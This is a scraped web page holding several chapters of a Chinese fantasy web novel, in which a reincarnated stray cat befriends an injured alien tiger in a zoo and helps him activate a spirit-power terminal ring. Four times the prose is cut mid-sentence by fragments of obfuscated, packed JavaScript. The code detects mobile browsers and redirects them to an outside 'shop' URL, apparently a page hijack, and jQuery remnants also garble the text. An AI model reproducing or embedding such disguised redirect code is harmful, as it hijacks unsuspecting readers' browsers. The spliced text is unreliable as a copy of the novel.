p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998859|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神力,一边缠绕一边蹭。 精神力是兽人最为隐私敏.感的存在,秦寂本来就精神海受了伤,精神力越发脆弱敏.感,这会儿被一个猫崽子手脚精神力并用抱着,整头虎就像是被酥酥麻麻的电流来回烫出了羊毛卷,又被浸去温泉水里咕嘟咕嘟涮了个彻底。 秦寂崩溃:“说好的只是摸一下!你给我撒嘴!” “唉,你这精神力怎么闻着这么香?” 江野松开自己刚才啃上去的毛嘴嘴,没忍住,又凑近秦寂的精神力不停嗅闻,嘴巴毛和胡须在秦寂的精神力表面像是软毛小刷子一样扫啊扫,激起秦寂一身的虎皮疙瘩,直冒冷汗。 “——没轻没重的小混蛋!!” 秦寂忍无可忍,张嘴怒吼,一声虎啸顿时响彻虎园。 工作人员立刻警戒,甚至有奶爸已经准备过来抱走江野,生怕江野被吓应激。 江野最开始的确是吓了一跳,耳朵一瞬间压成了飞机耳,但吓归吓,怀里抱着的精神力是半点都没松开。 猫抱着只有猫能看到的淡金色精神力,像是抱着最喜欢的小鱼猫抱枕,瞅着隔离区里咬牙切齿的虎,下意识用后爪兔子蹬了几下虎的精神力。 后爪的指甲滑过虎的精神力,那种带着几分乖张攻击性的刺激感,让秦寂原本琥珀色的瞳孔隐隐有蔓延成暗金色的趋势。 见秦寂是真的生气了,江野悻悻松开精神力,任由秦寂用最快速度抽回精神力。 江野有些失落地耷拉着脑袋。 他玩过不少猫玩具,也抓过最适合磨爪的树干,但都比不上抱着秦寂精神力时候的兴奋。 猫好喜欢。 但虎显然不乐意。 收回精神力的秦寂原本还在生气,但意识到什么,表情却逐渐变得微妙且古怪。 他之所以每天提不起精神,总是躺着晒太阳吹风,固然有虎的习性在,但更多原因是精神海受损严重。 精神海受损会让兽人变得易燥易怒,冲动暴戾,甚至很有可能出现自残行为。 这个星球没有抑制精神力失控的药剂,所以秦寂只能尽可能控制自己的情绪,放空大脑,等待精神力缓慢恢复到可以变化成好行动的人形。 顺带也养一下身上的伤。 不过他伤的太重,身上的伤口逐渐在愈合,精神力恢复的速度却微乎其微。 然而…… 秦寂又确认了一下自己的精神海。 刚才江野只是按着他的精神力玩了一会儿,他的精神力恢复程度几乎媲美之前十几天的努力。 这就是治愈系精神力吗。 那他之前趴在那努力克制自己算什么。 秦寂站在原地,虎脸上的表情变来变去,十分精彩。 江野叫了好几声,见秦寂都没理他,就想着等会儿再说,转身钻进猫砂盆里解决个猫问题。 江野的猫砂盆是他自己专门挑选的封闭式猫砂盆,前面进,上面出,十分保护猫咪隐私。 他刚嘘嘘完,正埋头扒拉猫砂的时候,猫砂盆外面突然传来礼貌的敲击声。 埋了一半的江野抬起身,脑袋顶开猫砂盆的盖子往外看。 谁啊? 淡金色的精神力伸到猫的面前,样子颇有些扭扭捏捏。 “你……你再摸摸?” 秦寂的声音传来。 刚上完厕所没埋完没洗爪的江野:“……” 江野的眼神复杂,犹豫了一会儿,开口:“秦寂,你是变态吗?” 17. 精神力终端 秦寂迫切的想要试验江野的精神力是不是能够达到安抚的效果,于是淡金色的精神力怼开了猫砂盆上面的盖子,探了进去。 然后他就被江野结结实实扇了一爪子。 精神力是很敏感的,作为主人,秦寂能感觉到自己精神力的一切感知,不论是被摸被咬,还是被扇。 猫爪扇过来的感觉倒不是疼。 嗯…… 秦寂的精神力挂在猫砂盆旁边一动不动,隔离区里面的老虎也端坐着一动不动。 ……有点麻,有点……就,还挺有弹性的。 精神力,很舒服。 情绪也不那么烦躁了。 这是治愈系精神力的效果? ……也没听说治愈系的精神力能这么立竿见影,那些治愈师十天半个月才只能接诊一个兽人。 猫砂盆里扒拉猫砂的声音停下,江野再一次顶开猫砂盆的盖子,十分无语地瞪向挂在他厕所上当门神的淡金色精神力。 江野没好气地伸出前爪去推秦寂的精神力。 “不是,你堵在我厕所外面干嘛?” 秦寂慢吞吞地控制自己的精神力往旁边挪,然后精神力被从猫砂盆里钻出来的猫故意重重踩了一脚。 秦寂:“……” 虎不仅没有吐槽,没有哼哼,还闷声不吭地把精神力收回到了身边。 看向跑去旁边地垫擦擦前爪又蹭蹭后爪的江野,秦寂忽然有点心虚。 他以前没和什么兽人关系亲近过,更不会用精神力去碰触对方——他不会,真的有这方面的癖好吧? 秦寂低头看向自己的虎爪。 看上去和猫的前爪并没有什么不同,只是等比放大了好几倍而已。 秦寂用前爪缓缓按住了自己的精神力,踩了几下。 被搓成一长条的淡金色精神力颇有些生无可恋地躺在巧克力色的爪垫底下,只露出了一点点头部。 完全没什么特殊的感觉。 虎沉默两秒,抬起前爪,对着自己的精神力扇了一巴掌。 精神力看上去更丧了。 原本漂亮的淡金色像是被裹了一层灰色,暗淡得就差原地龟裂。 秦寂忽然觉得好像哪里不太对。 周围似乎,安静过了头。 虎一点一点抬起头,看见江野正站在玻璃外面,一脸“秦寂你果然是变态吧”的表情。 虎爪下还按着精神力的秦寂:“。” 在旁人看来,隔离区里的老虎只是低着头玩了一会儿自己的前爪——毕竟大猫也是猫,猫嘛,偶尔发癫做一点抽象又奇怪的动作很正常。 但在江野眼里,就是秦寂一脸认真又沉浸地对着自己共感的精神力又踩又扇…… 秦寂不太有勇气去问江野这会儿的想法了。 灰扑扑的精神力嗖地一下被秦寂收回精神海,秦寂装作若无其事的样子原地一倒,闭眼晒太阳。 江野幽幽:“今天是多云,阴天。” 秦寂全当自己没听见,四爪并用,身体蛄蛹着让自己小山一样的身体背对隔离玻璃外的江野。 虎就喜欢晒阴天的太阳。 江野啧了一声:“精神力被你弄的那么脏,你都不擦一下就往精神海里面收,真埋汰!” 爱干净的精致小猫叹息摇头。 秦寂一个没忍住,回嘴:“精神力又没有实体,不会脏!” 江野立刻:“哦,那就是你的精神力刚才被你扇得不高兴了,看上去脏脏的。” 秦寂:“……” 虎低下脑袋,背对着江野用前爪扇了一下自己的虎嘴,然后用爪垫按在了腮帮上。 打定主意今天绝对不会再吭声。 江野盯着被隔离区窗户照出来的赌气老虎,嘴角咧开,露出粉色的牙床和白色的小虎牙,欺负大老虎带来的得意让猫的尾巴晃到起飞。 江野很少惦记什么东西,有就玩,没有就算了,之前对秦寂精神力的念念不忘在他上了个厕所出来后,就被他抛到了脑后。 他这会儿在想猫群的过冬问题。 冬天的失温对还没长大的猫崽来说很致命,对成猫或者老年猫而言也足够危险。 餐馆便利店的附近之所以会成为从前猫群聚集过冬的理想场所,是因为这些地方都会有热水管,水管流淌总会带来一些温度,而这些地方通常是不用与人类分享的。 消防通道里也会相对暖和些,但就像是江野说的,人类并不是全都友好,会有给猫纸箱避寒的人,也会有路过无缘无故踢一脚或者踩扁纸箱的人。 江野从隔离区的办公室里熟门熟路找到猫的平板,没有用嘴咬,而是用前爪小心扒拉着往外面推,靠着隔离玻璃找了个角落熟练开机。 其实人类比起猫更难抵御严寒,但人类有温暖的房子。 一个只要付出足够的金钱,就能遮风挡雪温暖如春的庇护所。 而江野,是一只曾经当过人类的猫。 秦寂自我逃避了一会儿,没听到咪.咪喵喵的声音反倒不习惯起来。 他把爪子从脸上挪开了点,放轻动作像是伸懒腰似的打了个滚,无比自然地从刚才背对隔离玻璃的状态,切换到脑袋朝向江野的方向,甚至没忘记第一时间把自己被剃秃的肚皮藏在身下。 江野倒是的确没注意到他。 猫背对着虎,柔软的猫毛贴在坚硬的隔离玻璃上,圆润的猫脑袋挡住了平板屏幕,耳朵尖长出两撮毛的猫耳朵正有一下没一下地抖动着。 看什么呢。 这么认真。 秦寂有点好奇,再加上江野手里的平板一直是他了解外界的唯一途径,于是他想了想,而后尾巴紧贴地面,匍匐在地,虎虎祟祟地凑了上去。 江野现在早就习惯秦寂的突然出现了,毕竟那么大一头老虎靠过来,阴影能从玻璃这边直接投到走廊对面。 他伸出一只毛茸茸的猫爪子,在左边隔空抓了一下,指挥秦寂:“往这边挪挪,屏幕有点反光。” 秦寂挪着自己的老虎屁.股给江野挡光。 他低头看江野爪子下面划拉的平板:“你这是在……?” “看房子啊。” 江野回答得理直气壮。 尾巴尖翘起来,抽了一尾巴地面。 秦寂看了眼猫尾巴,思维跑偏了一瞬。 在发现自己居然在想不知道猫尾巴抽在精神力上是什么感觉时,秦寂的虎脸扭曲了一瞬,深深呼吸。 他从前就知道自己是个坏种,但没想到还是个变态。 啧。 秦寂强制自己把视线挪到平板上。 江野并不知道身后的老虎在想什么,他一边收着指甲用爪垫滑动平板界面,一边说:“今年冬天应该会比往年都要冷,我作为老大可是有责任庇护猫群的,总得给大家找个合适的过冬地。” “其实猫群每年过冬都是个大问题,所以我就在想,如果能租一套房子,以后猫群的猫就都不会为过冬发愁了。” “想法不错。”秦寂先是肯定了江野的想法,紧接着提出了第一个问题,“但是你连房产网的账号都没有。” “你没有钱。”秦寂很现实地道,“而且,江野,你是只猫。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998860|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野当然知道目前的问题出在哪。 “我这不是在解决问题吗!或许我可以雇佣一个人类什么的……” 江野有些烦躁地蹬了两下后爪,放在肚皮上的平板滑下去,又被他用前爪捞回来。 话是这么说了,但江野觉得是存在一定问题的。 雇佣人类这件事是可行的,但如果江野雇佣人类用人类的身份租房交易,这其中其实是存在一定风险的。 江野的特殊之处,人类是否可信,房子是否真的安全,这样的雇佣能不能长久……这都是摆在眼前的问题。 比起这些,钱从哪来反而是最好解决的一项。 江野打工不是一天两天的事了。 但江野是一只猫,还是一只流浪猫群的老大。 他就是没有户口也没有身份证。 江野想不出办法,有点烦,扭头看了眼秦寂,喵喵嗷嗷着找茬:“……我之前就说咱们是朋友,你可以叫我阿野,但你就是一口一个小猫一口一个江野,讨厌死了……” 莫名被迁怒的秦寂不仅没有生气,反倒有种被猫蹭着撒娇的快感,心情变得十分舒畅,虎尾巴甩甩。 “好的,我错了,阿野。” 原本还想着拌拌嘴换换心情的江野顿时一噎。 “哼……”江野看着自己白色后爪按下去又翘起来,来回几次,最后只能有点不甘心地承认,“好吧,我去找沈青好了。” 秦寂:“之前那个诊所的医生?” “嗯。” 江野的猫脑袋点下去,两只耳朵跟着晃。 秦寂:“……” 虎觉得这样不行。 他怎么看完猫尾巴又盯着猫耳朵。 秦寂再次强行把自己的注意力按在平板上。 江野的爪垫在平板上慢慢滑动,房屋的租赁信息列表排列在屏幕上,被猫爪时不时点进去细细浏览。 秦寂安静了一会儿,开口:“这样不安全。” “我知道。”江野承认,他仰头看向身后的老虎,绿眼睛里是隔离区上方明亮灯光凝成的星星,“你说过,我们是特殊的,暴露我们不同于动物的聪明并不安全。” “但没办法。” “你又不能让一只猫拥有人类社会的身份。” 秦寂没说话。 江野选了三套看上去还不错的房子,准备今晚过去踩个点看看情况。 看到工作人员在准备给虎和猫的肉,江野把平板关掉,低头开始舔自己似乎有点打结的胸毛。 下巴有点痒,得找地方或者找个人类蹭蹭了。 江野想。 “如果我说,”秦寂的声音响起,“我能呢?” 江野愣了下,抬起猫头。 秦寂站起身,身体转了个角度挡住监控摄像头的视野,不知道在毛毛的什么地方掏出一个小东西,盖在爪垫下,朝着江野的方向稍微推了推。 江野下意识站起来,整只猫贴在了玻璃上。 毛茸茸的虎爪轻轻抬起,爪垫下,是一个类似戒指模样的金属物品。 “这是精神力终端,是远超这个时代的科技。” 秦寂低声道。 “但我的精神力现在不足以开启它。” 在这一瞬间,江野似乎听到心脏疯狂跳动,血液在身体中横冲直撞喷涌声。 只是一个眼神,江野就明白了秦寂的意思。 秦寂不能做到的事。 他能。 但江野很快就意识到了最关键的问题所在。 他和秦寂之间,隔着一层无法碰触,完全隔绝的玻璃。 18. 铁门 隔离区当然并不是完全封闭的空间。 不仅上面的天窗是可以根据天气旋转开合的穹顶,隔离区里面也有方便工作人员出入的门。 毕竟隔离区并不是专门用来养老虎的地方,这里每年都会有救助来的新动物,大部分会在伤势痊愈评估可以放归后离开园区,也有小部分失去野外生存能力的,会转移去更符合物种栖息地特性的园区。 江野并不知道隔离区的门在哪,但这并不难知道。 跟着工作人员走一遍就明白了。 但问题是,他真的应该这样做吗。 从前动物园不是没有过抚慰动物,他们会给失去族群的狼王送萨摩耶,给抑郁的熊猫养小鸟,甚至给绝食自杀的企鹅身边放摇摇晃晃走路的仿真机械企鹅。 但在江野这里,园区不仅没有让江野进去秦寂所在的隔离区,哪怕隔着一层玻璃,园区也会安排工作人员时刻盯着隔离区的情况,提前做好气味安抚措施。 因为,江野是只狸花猫。 而秦寂,是头东北虎。 天上飞的地上跑的河里游泳的,只有老虎不想吃的,没有不在老虎菜单上的。 没了那层玻璃,江野还没秦寂的脑袋大。 正常逻辑下,秦寂得趴着才能找得到在地上跑酷的江野。 所以江野没有当场给出回答。 “……老大?老大!喵!!” 三花秘书忍无可忍的叫了一声,这才把神游天外的江野给拽了回来。 “啊?”江野的爪子下面按着一堆落叶,一用力就咯吱咔嚓响:“哦,是说诊所的那三只猫是吧?” 江野故作矜持帅气地整只猫都钻进人类扫出的落叶堆里,然后唰地一下猛冲出来,玩过了之后又用爪子扒拉着落叶堆回去。 “接出来之后找三只老猫带着,后面能生活了,就让那三只小的给老猫送点吃的喝的。” 三花站在旁边,两只后脚十分礼貌地站成了丁字步,无语看向自家老大:“这是上上个话题。” “呃……”江野的爪子一顿,然后低着脑袋,越发忙碌认真地堆落叶,“那是在说晚上去我提的那三个房子看看?” “……这个话题也已经结束了,老大。” 三花往旁边走了两步,让开匆匆忙忙跑向共享单车的人类,结果下一秒,就被那个去而复返的人类眼疾手快摸了一把。 漂亮的小三花对此见怪不怪,用从江野那学来的手段回蹭了一下人类,在人类啊啊啊鬼叫着举起手机的时候十分配合地摆动作。 江野想了一会儿,觉得最近好像也没什么事了,有些心虚地瞅了眼能干的秘书:“所以,咱们刚在说啥来着?” 三花对着手机镜头抬下巴挺胸给侧脸:“什么都没说,我就看你在这嚯嚯树叶子。” 江野:“……” 猫看了眼越扒拉越乱的落叶堆,默默收回爪。 刚才在拍三花的手机悄悄怼到了江野面前。 江野心情不太好,抬爪婉拒了。 江野并不抗拒猫群里的猫被人类领养,遇到那种长得好看的身体弱的,江野甚至会主动送去给经常喂猫家里却没猫的可怜人。 小区的大家都认识这边剩下的常驻猫,盯着江野和三花想要绑架的更多,但没谁真的成功绑架这两只猫。 久而久之,大家也都知道这两只猫聪明且不想被领养,就开始遇到了拍几张打个卡,顺手投喂点吃的。 人类十分识趣地收回被野哥嫌弃的手机,掏出猫粮在地上倒了两小堆,然后大叫着迟到了迟到了骑着单车一溜烟跑了。 江野转移话题:“还是不想养个人吗?” “养过就知道什么滋味了,没意思。”三花尝了尝猫粮,应该是觉得味道还不错,便坐下来低头慢慢吃。 江野生肉吃多了,现在看见冻干什么的还能吃两口,猫粮是着实有点挑嘴咽不下去,就把自己面前的猫粮推到三花那边。 江野:“也不是所有人都那样的。” 三花没搭话,低头继续吃。 和江野这样天生野性聪明的老大不一样,漂亮优雅且能干的三花在猫群里也算是格格不入,看着跟所托非人的落难大小姐似的。 “过冬前得去之前领养了猫的人类家里都看一眼,近的你和弟兄们过去一趟,远的我去。” 倒不是江野逞强,而是只有认字且认路的江野知道怎么坐公交车。 三花“嗯喵”了一声。 说到过冬,江野就又想起想要租房子的想法,说到房子就想起身份问题,然后……思绪就又回到了老虎身上。 江野咽了咽口水。 虽然现在和秦寂这么熟悉了,但他其实依旧清晰记得当初第一眼看到秦寂的时候。 那时候的老虎刚到园区,伤痕累累却凶戾骇猫,一眼瞅过来,就把当大哥的狸花吓成了顺拐,走到园区门口才回过神。 江野的前爪在落叶上踩了又踩,听着嘎吱嘎吱的声音,身后的尾巴耷拉着一动不动。 猫其实……有点害怕。 只有一点点。 不是不信任秦寂,而是害怕老虎。 规避危险的谨慎是江野重生成一只狸花猫却把自己好好养到现在的根本。 大老虎什么的…… 想到秦寂的体型,江野的后脑勺隐隐发麻。 总觉得秦寂能一口一只猫。 三花看向江野,虽然不知道江野最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998861|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟在忙什么,天天往动物园跑,但她们做小弟小妹的,不就是要宠着庇护猫群给猫群撑腰的老大吗? 她主动开口:“老大,你是不是遇到想要养的人了?” 江野回神,纳闷:“什么?没有!” 野哥这辈子都不可能当宠物猫的。 “那你的样子怎么和之前我犹豫要不要和人走一样?” 其实在江野捡走三花的半年后,当年那对养了三花的人类中的另一个人曾经回来过小区,在小区里喊着三花的名字找了很久,想要带三花走。 三花躲在灌木丛里看着那个人在小区里喊了一下午,即使犹豫过,但最终还是没有选择出去。 江野用爪垫拍地面。 犹豫了一会儿才出声:“情况也……差不多吧,不过不是和人走,是在犹豫要不要更相信他一点。” “他比狗还危险?” “那确实。” 狗也不够秦寂打牙祭。 三花想了想:“比人都危险?” 江野迟疑:“……不太好说。” 人有好坏,秦寂应该是好的,但虎就有点不确定了。 并不知道江野犹豫的对象是只什么东西,秘书变军师的三花哼喵一声,前爪一挥:“那就让他先碰爪呗!就像咱们考验人类一样考验他!” *** 秦寂今天一整天都在偷看隔离区的走廊口。 他的角度看不到隔离区的出入大门,只能看到长长走廊出来的拐角位置。 每一次,江野都是从拐角毛茸茸地出现。 但自从上次秦寂提到精神力终端后,江野已经整整两天没来过隔离区了。 秦寂沉默着走回干草垫,趴下了却不闭眼,时不时抬眼往隔离玻璃的方向看。 身后的铁门传来嘎吱咣当的声音,秦寂没在意。 人类惧怕老虎是很正常的事,隔离区的投食加水不需要人进来,但人类偶尔会从那个小窗口里给虎两针麻醉,然后给虎做检查,取点血液或者……粪便之类的。 秦寂之前重伤的时候还能被麻醉剂放倒,但随着他的伤势恢复,精神力微弱好转,麻醉剂对他的效果最多只有让虎稍微困倦,远没有立刻昏倒的程度。 但秦寂会装作昏倒。 铁门的窗口持续不断传来滋滋啦啦咣咣铛铛的声音,像是有人在很不耐烦地扒拉窗口把手上的锁。 秦寂察觉出有点不太对,下意识地,他探出精神力穿过铁门,就见到一只花臂狸花猫正努力踮着后脚,伸长前爪,把自己拉成一根猫条,不停地扒拉铁门窗口上的插销。 感觉到熟悉的精神力靠近,江野抬头龇牙,咪咪嗷嗷着骂虎:“愣着干嘛!帮忙啊!” 19. 绑定 秦寂眨眼就靠到了铁门前面。 然后在铁门前面来回踱步,爪子抬起对着铁门比比划划,又纠结着放下。 “……我的精神力强度不够,碰不到东西。” 秦寂现在的精神力充其量只能用来当摄像头使,无法碰触实体。 唯一的例外只有同样拥有精神力的江野。 哪怕是用精神力说话,江野也能听得出秦寂的挫败。 铁门有两层,门上有锁,江野研究了一下打不开,这才开始扒拉铁门小窗旁边的插销。 但这个小窗和插销是按照人类方便观察隔离区情况的高度定的,江野即使努力垫着脚站起来,身高也始终差了点。 “你说说你长那么大个子有什么用!” 江野本来也没指望秦寂能帮上忙,但秦寂说他真的帮不上忙后,江野反而生出几分猫猫得意。 这些天的相处,秦寂已经能捋到顺着江野猫毛捋的精髓——夸就行了。 于是秦寂在铁门内侧一屁.股坐下,对着江野开始拍狸花屁。 “是是是,重要的事还得拜托咱们猫社会的狸花大哥。” 这实在是一句很拙劣的猫屁。 江野却是动作一顿,嘴角和尾巴尖都控制不住地上扬,就连耳朵都开始转着晃。 猫群的恭维固然让老大骄傲,但来自老虎的猫屁更让老大飘飘然。 不过,作为英明神武的老大,江野并没有在夸奖恭维中失去聪明的脑瓜。 江野很快意识到这么扒拉不行,铁门上的小窗插销很重,猫的前爪伸过去只有指甲能碰到,根本不可能掰上去。 得想其他的办法。 江野收回前爪,一边活动刚才抻久了有点转筋的身体,一边用视线在四周巡视。 大哥的目光落在不远处的杂物堆上。 瞳孔收缩又扩大,江野的猫点子立刻生成,对铁门里的虎自信道:“哼,你乖乖等喵,看我的。” 秦寂的精神力一直在看铁门外面的江野。 他看着江野跑去杂物堆旁边,用脑袋像是小牛犊一样从里面拱出来一个小板凳,应该是用脑袋拱有点不舒服,江野又站起来用前爪搭在板凳上试图往前推,推了两下板凳没怎么动,于是猫很不爽地用尾巴抽了下地面,再次用脑袋把板凳一路拱到铁门前面。 接着是塑料铲子,纸箱,报纸,鸡蛋坨……甚至还有一颗虽然被洗的很干净但上面遍布爪痕的藤编球。 江野对每样东西放在哪有着很清晰的目标与规划。 太重的那些,比如扳手木材食盆水盆之类的东西,都被江野扒拉到了一边。 最终,江野在铁门前面堆砌出了一个完美的猫猫王座,四爪并用着爬上去,前爪抵在铁门窗户的金属插销上,爪垫一抬一扒拉,小窗哗啦一声被打开。 一颗老虎头靠过来塞满了整个探视小窗,吓得江野一爪子扇上那个粉色的大鼻头,整只猫瞬间原地起跳飞了出去。 感觉自己好像又惹猫生气了的秦寂:“……” 还没等江野骂他,秦寂立刻提前道歉:“对不起。” 一肚子喵喵嗷嗷被堵在嘴边的江野:“……哼。” 猫重新爬上杂物堆,没好气地伸出前爪按在秦寂的粉鼻头上用力推:“你往后站点。” 秦寂不仅没动,还下意识嗅了嗅。 这猫的爪垫怎么是……爆米花味儿的? 带点甜味儿。 有点可爱了。 老虎温热的呼吸喷洒在猫的爪垫上,江野的耳朵往脑后一撇,眼睛眯起:“秦寂,你干嘛呢?” 秦寂挪着老虎屁.股往后退了点,状若无事:“没,刚才走神了,没听清。” 江野收回自己的前爪看了看,总觉得在刚才,爪垫好像被虎鼻子故意蹭了两下。 虽然嗅闻爪垫分辨对方的年龄性别是正常社交礼仪,但江野就是觉得有点怪。 秦寂:“你发育的很好,已经快步入成年期了。” 江野:“……你刚才是在闻这个?” “不然呢?”秦寂虎脸淡定,“猫科的爪垫会分泌信息素,你的精神力发育有点不符合常理,但信息素告诉我,你的身体很健康。” “阿野,你把自己养的很好。” “那是。”江野翘起尾巴,“当猫都快两年了,我超厉害的。” 虽然猫的年龄无法完全转化为人类的年龄,但大致来算,江野现在差不多相当于二十岁的成年人类了。 和他前世那些零碎模糊的记忆年龄差不多。 “当猫?”秦寂迅速抓住重点。 江野避开小窗户对面凑过来的虎眼睛,低头舔舔爪垫,转移话题:“大门我打不开,你从这里把终端给我吧。” 江野本以为秦寂会拖延一下,结果没想到秦寂二话不说直接把那个金属戒指递出了小窗。 “我们现在的样子,有点像是在探监。”秦寂见江野爪忙脚乱地接住终端,似乎在思考要往哪里塞,忽然笑了下。 江野找了一圈没找到地方保存戒指,只能暂且先叼在嘴里。 还好精神力交流不用开口。 听到秦寂的话,江野看看面前的大铁门和小铁窗,又看看铁门铁窗里面的秦寂,不禁跟着笑起来。 “是有点像,但你的伙食可比坐牢好多了。” 虎爪子还不用踩缝纫机。 江野叼着精神力终端,试探着用精神力去碰触终端,完全没意识到,对于一只猫来说,哪怕再聪明,也不应该意识到什么叫做“探监坐牢”。 “是啊,在这里坐牢可比从前好很多。”秦寂的笑意并没有真正浮现在眼底,“这里还有阿野来给我探监。” 江野一愣:“……你,坐过牢啊?” “嗯哼。”秦寂轻描淡写地承认,然后抬起一只厚实的虎爪,爪垫朝上,向着窗口伸出来,“终端激活需要主人操作绑定第二生物信息。” 努力了半天的江野没好气地叼着终端放到秦寂爪垫里:“那你刚才急着给我干嘛!” 秦寂的虎爪太大,没有伸出小窗,所以只能是江野叼着终端,猫脑袋整个伸进来。 爪垫被猫胡须扫过,秦寂身后的尾巴没忍住扭出一个弧度。 “刚才忘了。”秦寂半点不提自己的故意,“你的爪垫伸过来,也按在终端上。” “哦。”江野扶着铁门努力贴过来,从小窗户外伸进一只前爪,隔着一个金属终端盖在秦寂的虎爪垫上,“这样?” 秦寂看着大半个身子都要探出小窗,却仍旧坚持没有进来的江野,透过精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998862|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力传来的声音忽然变得深沉而笃定。 “阿野,你在害怕我,对吗?” 江野没说话,一点点收回自己的前爪。 秦寂也不说话,但虎爪却保持着爪垫朝上,托着精神力终端的动作。 过了一会儿,猫脸无语的江野从小窗户里探出脑袋,不闪不避地对上秦寂的眼睛。 “秦寂,你对你自己的体型有点数可以吗?” 一颗猫脑袋怼过来,搭在了秦寂的虎爪边缘,毛茸茸的,十分的……袖珍又可爱。 “不说你的指甲你的牙齿你的体重,就你这大爪子,你瞅瞅你的爪子比我脑袋大几圈?” “我怕你难道不应该吗!”江野翻了个白眼,不仅没有不信任朋友的心虚内耗,反而理直气壮,“你应该反思自己干嘛非要长这么大好不好!” 秦寂:“……?” 江野在面对问题时候的反应,永远不在秦寂的预料与认知范围内。 “人类和猫都有试探阶段呢,更别说你这么大一只了。” “要不是因为你是秦寂,我才不会做出这种违背祖宗本能的决定呢。” 江野把自己的脑袋收回去,抬起前爪揉了两把自己的耳朵。 “我跟你讲,你现在是在考核期,表现好的话,我才会和你贴贴,知道了吗?” 秦寂原本心里那种“看吧大家都是一样的”“他也害怕你”的小伤心,忽然就被江野的一套大哥组合拳打了个稀碎。 他不禁顺着江野的话,品了品猫的意思。 “你的意思是……你害怕老虎,却,相信我?” “那不然呢?!” 江野学着刚才秦寂的语气反问,故意别开头不看秦寂,爪垫在身前有一下没一下地踩,稍稍有一点局促。 “这种话自己知道不就行了还要说出来问我,我发现你这头老虎真的很肉麻……” 秦寂看着铁门小窗外的江野,几秒后,突然低低笑起来。 这一次,不再是刚才故作冷淡的假笑,而是明显能听到愉悦意味的开怀。 这笑声让江野前爪在废纸壳子上踩的频率越来越快。 赶在江野恼羞成怒前,秦寂见好就收,虎爪往窗户更贴近了些,声音温柔:“要不要绑定?” “哼。” 江野伸出前爪。 粉色爪垫的猫爪搭上巧克力色的虎爪,完全遮挡住了爪垫中间滑过流光的金属戒指。 【信息素验证成功,精神力通道已开启。】 【检测到陌生精神力,是否进行第二生物信息绑定?】 【绑定成功。】 【权限已共享。】 【欢迎登陆,尊贵的奥罗拉维斯公爵。】 啊? 虽然秦寂没明说,可也没怎么掩饰他来历的意思,尤其是在秦寂拿出远超地球文明的科技产物后。 但是,公爵? 这头平常往干草垫子上一躺,在隔离区里生活得理所当然,完全没有一点讲究的老虎,居然不仅是个贵族,还是个……公爵? 真的假的?! 江野瞪大眼睛,脑袋凑近铁门小窗往秦寂的方向看。 秦寂当然知道江野在惊讶什么,他眨眨眼,露出虎笑。 怎么,不像吗? 20. 全自动驾驶狗 “天哪,野哥怎么在工作区!” 错过饭点的工作人员本来只是叼着面条点监控视频看,见泰哥一反常态没有趴在草垫上睡觉,也没有守在隔离玻璃前面,就想着找找虎在干嘛。 监控视频捕捉到虎影在铁门前面的时候,工作人员就是一愣,点开放大才看到一颗猫猫头水灵灵地从观察小窗探了出来,抵在了老虎的爪垫上。 工作人员吓得差点把面掀翻。 谁都知道猫是液体的,只要头能过去,身体就不存在过不去的道理。 工作人员咬着筷子直接按下了紧急呼叫按钮。 在其他同事纷纷赶去虎园隔离区的时候,工作人员想了想,切到工作区域的监控视角,放大监控画面——看到了那堆很明显是被猫垒起来的杂物台,以及狸花猫那还按在铁门插销上的作案爪。 工作人员看着用力往隔离区里面伸爪子的恋爱脑野哥,没忍住暂停猫爪搭在虎爪上的画面咔嚓截图,一边移动鼠标发到工作群里,一边喃喃自语。 “欸,虽然是邪门了点吧,但还真有罗密喵和朱丽虎的那味儿。” …… 暗度陈仓的一虎一猫在扮演王母娘娘的工作人员手里,被坚决且强制地分开。 情急之下,江野用两只前爪托着把精神力终端戒指塞进嘴里,被工作人员抱离的时候,因为嘴里藏着东西,江野不得不出奇好脾气地忍下了工作人员趁机在猫身上摸来摸去还掏肚皮的揩油骚扰。 猫眼角的余光还瞥到另一个正拿着手机全程拍视频,一直嘿嘿嘿笑个不停的女生,尴尬地用后腿夹住尾巴,一个劲蹬骚扰猫的人类大手。 隔离区铁门的小窗户被咣当关死,鉴于江野的聪明程度,工作人员还专门加了一道防猫锁。 尊贵的公爵虎回到自己的草垫上趴下,隔着一层玻璃,好整以暇地旁观工作人员教育江野。 